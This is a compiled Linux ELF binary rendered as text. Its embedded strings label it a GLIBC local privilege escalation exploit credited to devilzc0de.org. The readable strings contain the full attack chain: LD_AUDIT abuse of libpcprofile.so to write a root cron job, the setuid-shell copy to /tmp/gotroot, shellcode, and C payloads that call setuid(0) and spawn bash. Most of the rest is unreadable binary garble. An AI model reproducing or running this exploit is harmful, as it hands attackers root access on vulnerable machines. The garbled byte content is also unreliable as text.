ELF44 ($!444444    8@   HHH QtdRtd   /lib/ld-linux.so.2GNU    K?9 `ugSLE.nY4)l__gmon_start__libc.so.6_IO_stdin_usedexitfopenputsmkdirpopenstrlenfcloseumaskremovesystemusleepfwrite__libc_start_main__xstatGLIBC_2.0GLIBC_2.1ii ii    $ ( , 0 48US[ÀtNX[5%%h%h%h% h%h %h(%h0%h8p% h@`%$hHP%(hP@%,hX0%0h` %4hh%8hp1^PTRhphQVh 7US=Du@H-X9sBHH9rD[]Ív'Utt $ÐU$p$$Uh$D$Ҋ$ԊED$$"tD$Ҋ$ED$$Lt[ED$$]t $jD$Ҋ$lv$ȋ:$$U(E4D$$EE$‹ED$ T$D$E$E$vD$Ҋ$U(EȌD$$_EE$A‹ED$ T$D$E$AE$D$Ҋ$rUhED$$u $ED$$lu $ED$$KIu $KU$KD$Ҋ$XD$Ҋ$$KyD$Ҋ$ÍL$qUQt4D$$KED$$эtT$tY]aÐU]Ít&'UWVSOi )t$1ED$E D$E$9rރ [^_]Ë$ÐUS E $D$ED$ []ÐUS t fЋu[]ÐUS[ÜlY[ GLIBC local privilege escalation exploit Bugs found by Tavis Ormandy made by: devilzc0de.org rdpkg -S /lib/libpcprofile.so/lib/libpcprofile.soLD_AUDIT='libpcprofile.so' PCPROFILE_OUTPUT='/etc/cron.d/w00t' ping/etc/cron.d/w00t/tmp/suidshellecho '* * * * * root cp /bin/dash /tmp/gotroot; chmod u+s /tmp/gotroot ' > /etc/cron.d/w00t[+]waiting for dropped suid shell from our cron daemon, please wait .../tmp/./gotroot -c /tmp/./suidshellchar shellcode[] ="jX1̀j.XS̀1j XRh//shh/binRS̀";int main(){int (*f)() = (int(*)())shellcode;f();}wsuid.cgcc -o /tmp/suidshell suid.cvoid __attribute__((constructor)) init(){ setuid(0);system("/bin/bash");}payload.cgcc -w -fPIC -shared -o /tmp/exploit payload.c/tmp/exploitmkdir /tmp/exploit;ln /bin/ping /tmp/exploit/targetexec 3< /tmp/exploit/targetLD_AUDIT="\$ORIGIN" exec /proc/self/fd/3/etc/cron.d h Lho xooo ΄ބ.>N^n~GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3"$h"L$ed!`u_IO_stdin_used\…../sysdeps/i386/elf/start.S/build/buildd/glibc-2.9/csuGNU AS 2.19.1f ąą[XmKFZ(intAa2lOt_/build/buildd/glibc-2.9/build-tree/i386-libc/csu/crti.S/build/buildd/glibc-2.9/csuGNU AS 2.19.1Lq, /tmp/ccaDrtDh.s/build/buildd/glibc-2.9/csuGNU AS 2.19.1%% $ > $ > $ > 4: ; I?  &IU%U%W2 ../sysdeps/i386/elfstart.S3!4=%" YZ!"\[# init.co /build/buildd/glibc-2.9/build-tree/i386-libc/csu../sysdeps/genericcrti.Sinitfini.ch!/!=Z!gg//L!/!=Z!P& /tmpccaDrtDh.s!!!d-!!!GNU C 4.3.3/build/buildd/glibc-2.9/csushort int_IO_stdin_usedlong long unsigned intunsigned charinit.cshort unsigned intlong long inthL_dh.symtab.strtab.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment.debug_aranges.debug_pubnames.debug_info.debug_abbrev.debug_line.debug_str.debug_ranges44#HH 5hhX1o ; CKo"Xo0g p x yhh0tLL hh u     H<<DDD hp%5 0+H@9d#6 D#&4Hh  h   Lh  <D  ,:GЅ ]DlHz0       < &7p G Nȇp ]p  hL 2 2" l<"4FWa _8q i@vZ T, DLXp Dډ  [ h init.cinitfini.ccrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6635dtor_idx.6637frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxa.c_GLOBAL_OFFSET_TABLE___init_array_end__init_array_start_DYNAMICdata_startpopen@@GLIBC_2.1mkdir@@GLIBC_2.0__libc_csu_fini_startbikin_payload2__xstat@@GLIBC_2.0__gmon_start___Jv_RegisterClasses_fp_hw_finisystem@@GLIBC_2.0eksplo1__libc_start_main@@GLIBC_2.0__statstatusleep@@GLIBC_2.0_IO_stdin_used__data_startumask@@GLIBC_2.0fclose@@GLIBC_2.1strlen@@GLIBC_2.0fopen@@GLIBC_2.1eksplo2il_fil_de__dso_handle__DTOR_END____libc_csu_initsalamfwrite@@GLIBC_2.0remove@@GLIBC_2.0__bss_start_endputs@@GLIBC_2.0bikin_payload1_edataexit@@GLIBC_2.0__i686.get_pc_thunk.bxmain_init